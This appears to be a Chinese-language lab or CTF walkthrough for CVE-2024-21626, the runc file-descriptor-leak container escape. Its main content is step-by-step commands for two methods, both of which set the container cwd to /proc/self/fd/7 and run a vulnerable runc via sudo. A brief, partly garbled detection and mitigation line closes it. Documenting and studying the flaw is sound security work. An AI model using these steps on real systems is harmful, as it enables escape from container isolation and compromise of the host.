| 字段 | 详情 |
|---|---|
| CVE | CVE-2024-21626 |
| 受影响组件 | runc ≤ 1.1.11 |
| 漏洞类型 | 通过文件描述符泄漏导致的容器逃逸 |
| 别名 | Leaky Vessels |
runc 在执行容器进程之前泄漏了一个指向主机文件系统工作目录的内部文件描述符(通常是 fd/7)。通过将容器的 config.json 中的 cwd 设置为 /proc/self/fd/7,进程会进入主机目录而非容器根文件系统——从而实现容器逃逸。
通过直接从主机复制二进制文件构建最小根文件系统:
# 1. 创建目录结构
cd /tmp && mkdir -p strikoder/rootfs && cd strikoder
mkdir -p rootfs/lib64 rootfs/lib
# 2. 复制二进制文件及所需库
cp -aL /bin rootfs/bin
cp /lib64/ld-linux-x86-64.so.2 rootfs/lib64/
cp -a /lib/x86_64-linux-gnu rootfs/lib
# 3. 生成默认 OCI 配置
runc spec
# 4. 修改 config.json 中的 cwd 指向泄漏的主机 fd
# 将: "cwd": "/"
# 改为: "cwd": "/proc/self/fd/7"
vi config.json
# 5. 使用存在漏洞的 runc 二进制文件运行容器
sudo /opt/debug --log /tmp/log.json run strikontainer
发生的情况: runc 在切换到容器根文件系统之前打开了引用主机 CWD 的 fd/7。将 cwd 设置为 /proc/self/fd/7 会导致 runc 执行 chdir() 进入主机路径而非容器路径——使你进入真实文件系统。
如果你需要一个更完整的环境,或者主机上二进制文件有限:
# --- 在你的攻击机器上 ---
# 导出最小化的 Alpine 文件系统
docker export $(docker create alpine:latest) > alpine.tar
# 将 alpine.tar 传输到目标机器,然后:
# --- 在目标机器上 ---
mkdir -p /tmp/strikoder/rootfs && cd /tmp/strikoder
tar -xvf /path/to/alpine.tar -C rootfs
# 生成 OCI bundle 配置
runc spec
# 修改 cwd(与方法 1 相同)
vi config.json
# "cwd": "/proc/self/fd/7"
# 运行
sudo /opt/debug --log /tmp/log.json run strikontainer
cwd 配置中对 /proc/self/fd/ 的 openat() 调用;对 cwd 包含 /proc/self/fd 的 OCI bundle 发出警报/proc 访问的 seccomp 配置文件;考虑使用无根容器或 gVisor/Kata 以实现更强的隔离